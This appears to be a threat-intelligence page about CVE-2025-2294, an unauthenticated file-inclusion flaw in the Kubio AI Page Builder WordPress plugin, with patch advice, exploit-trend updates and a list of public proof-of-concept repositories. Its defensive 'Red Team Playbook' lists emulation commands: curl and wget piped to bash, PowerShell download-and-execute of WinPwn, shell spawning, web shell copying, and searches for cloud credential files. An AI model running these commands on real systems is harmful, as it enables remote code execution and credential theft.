CVE-2025-2294
Overview
This vulnerability is a Local File Inclusion (LFI) flaw rooted in improper input validation within the thekubio_hybrid_theme_load_template function of the Kubio AI Page Builder WordPress plugin. The affected component fails to sanitize user-supplied file path parameters, allowing unauthorized inclusion of arbitrary files on the server. The vulnerability exists in all versions up to and including 2.5.1, specifically impacting the theme loading mechanism.
Vulnerability Description
The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
Impact
An unauthenticated attacker can leverage this LFI vulnerability to execute arbitrary PHP code on the server, resulting in full compromise of the WordPress environment. This includes bypassing access controls, extracting sensitive data, and executing malicious commands. The attack requires no privileges or user interaction and is remotely exploitable over the network, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. The critical severity reflects the potential for complete system takeover and data breach.
Solution
Users of the Kubio AI Page Builder plugin should upgrade to a version later than 2.5.1 where this vulnerability is patched. Detailed remediation steps and patch information are provided by Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/2fb44c6e-520e-4a9f-9987-8b770feb710d. Applying the vendor's updated plugin version that corrects the file inclusion logic in thekubio_hybrid_theme_load_template function is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Kubio AI Page Builder plugin for WordPress is characterized by a Local File Inclusion (LFI) flaw, which allows an attacker to manipulate file paths and include arbitrary files from the server. This vulnerability arises from improper validation of user input in the function responsible for loading templates. Specifically, the function does not adequately sanitize or restrict the file paths that can be included, leading to the potential for unauthorized access to sensitive files. Attackers can exploit this weakness to execute PHP code embedded in files that they can upload or access, thereby gaining control over the server environment.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could craft a request that targets the vulnerable function, manipulating the input parameters to include files located on the server. For instance, if the attacker can upload a file containing malicious PHP code, they could then use the LFI vulnerability to execute that code by including the uploaded file. This scenario is particularly concerning because it allows attackers to bypass traditional access controls, as they do not need to authenticate to exploit the vulnerability. Additionally, the ability to include files can lead to further attacks, such as remote code execution, data exfiltration, or even full server compromise.
The real-world impact of this vulnerability can be substantial, particularly for organizations that rely on the affected plugin for their WordPress sites. The high CVSS score of 9.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, including unauthorized access to sensitive data, defacement of websites, or the installation of backdoors for persistent access. Businesses may face reputational damage, loss of customer trust, and potential legal ramifications if sensitive information is compromised. Furthermore, the operational impact could result in downtime and the costs associated with incident response and recovery efforts.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify and remediate such flaws before they can be exploited. Additionally, maintaining an up-to-date inventory of plugins and themes, along with prompt application of security patches, is crucial. Organizations should also consider employing web application firewalls (WAFs) to filter and monitor HTTP requests, blocking those that exhibit malicious patterns indicative of LFI attempts. Furthermore, implementing strict file upload controls and input validation can significantly reduce the attack surface, making it more difficult for attackers to leverage this vulnerability.
In conclusion, the Local File Inclusion vulnerability in the Kubio AI Page Builder plugin poses a significant threat to WordPress installations. The potential for unauthorized file execution and access to sensitive data underscores the importance of proactive security measures. By understanding the technical details of the vulnerability, recognizing the various exploitation scenarios, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar threats in the ever-evolving landscape of cybersecurity.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Local File Inclusion vulnerability in the Kubio AI Page Builder plugin. This surge is accompanied by a significant increase in the Exploit Prediction Scoring System (EPSS) score, now placing the vulnerability in the 99th percentile for likelihood of exploitation. The emergence of multiple new proof-of-concept exploits across public repositories further amplifies the risk, indicating growing attacker interest and lowering the barrier for adversaries to weaponize this flaw. For defenders, this heightened activity signals an urgent need to prioritize monitoring and detection efforts around this vulnerability, as the probability of active exploitation campaigns has substantially increased. Consequently, the threat level associated with CVE-2025-2294 has escalated from critical to an even more imminent and actionable risk, underscoring its prominence in the current exploit landscape.
Update 2 — July 04, 2026
CSURFACE threat intelligence has identified a discernible uptick in exploitation attempts targeting CVE-2025-2294, reflecting a marked escalation in adversary activity. While the EPSS score shows a slight decline, our telemetry reveals an increased frequency of triggers associated with this vulnerability, indicating sustained attacker interest despite minor fluctuations in predictive scoring. The emergence of additional proof-of-concept exploits across multiple public repositories continues to lower the technical barrier for exploitation, facilitating broader adversary engagement. This evolving landscape underscores a heightened operational tempo among threat actors aiming to leverage the Local File Inclusion flaw in the Kubio AI Page Builder plugin. For defenders, this development signifies an elevated risk environment where opportunistic and targeted attacks are more probable, necessitating intensified vigilance. Consequently, the threat level for CVE-2025-2294 remains critically high, with an increased likelihood of active exploitation campaigns that could lead to unauthorized code execution and data compromise.
Update 3 — July 12, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Kubio AI Page Builder vulnerability, with telemetry indicating a significant uptick in adversary engagement. This surge is accompanied by the emergence of additional proof-of-concept exploits circulating publicly, which lowers the barrier for less sophisticated threat actors to weaponize the Local File Inclusion flaw. Although the EPSS score remains high, the slight downward trend suggests some stabilization; however, the overall operational tempo among attackers has intensified. For defenders, this evolving threat landscape signals an increased likelihood of opportunistic and targeted attacks leveraging unauthenticated code execution, heightening the risk of unauthorized access and data compromise. Consequently, the threat level for CVE-2025-2294 is reaffirmed as critically high, underscoring the need for sustained vigilance amid expanding exploitation activity.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Kubio AI Page Builder 2.5.1 - Local File Inclusion (LFI) | 4m3rr0r | webapps | multiple | - | View |
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-2294
Kubio AI Page Builder <= 2.5.1 - Unauthenticated Local File Inclusion
|
Nxploited | 3 | 0 | 2025-03-27 | View |
|
fumioryoto/CVE-2025-2294-Kubio-2.5.1-LFi-Checker
The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and includin...
|
fumioryoto | 2 | 0 | 2026-01-23 | View |
|
Yucaerin/CVE-2025-2294
Kubio AI Page Builder <= 2.5.1 - Unauthenticated Local File Inclusion
|
Yucaerin | 1 | 1 | 2025-05-13 | View |
|
romanedutov/CVE-2025-2294
|
romanedutov | 0 | 0 | 2025-04-26 | View |
|
mrrivaldo/CVE-2025-2294
|
mrrivaldo | 0 | 0 | 2025-03-31 | View |
|
iteride/CVE-2025-2294
|
iteride | 0 | 0 | 2025-09-24 | View |
|
rhz0d/CVE-2025-2294
Kubio AI Page Builder <= 2.5.1 - Unauthenticated Local File Inclusion
|
rhz0d | 0 | 0 | 2025-04-15 | View |
|
0xWhoami35/CVE-2025-2294
|
0xWhoami35 | 0 | 0 | 2025-05-24 | View |
|
r0otk3r/CVE-2025-2294
|
r0otk3r | 0 | 0 | 2025-07-28 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-2294 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/2fb44c6e-520e-4a9f-9987-8b770feb710d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/kubio/tags/2.5.1/lib/integrations/third-party-themes/editor-hooks.php#L32 |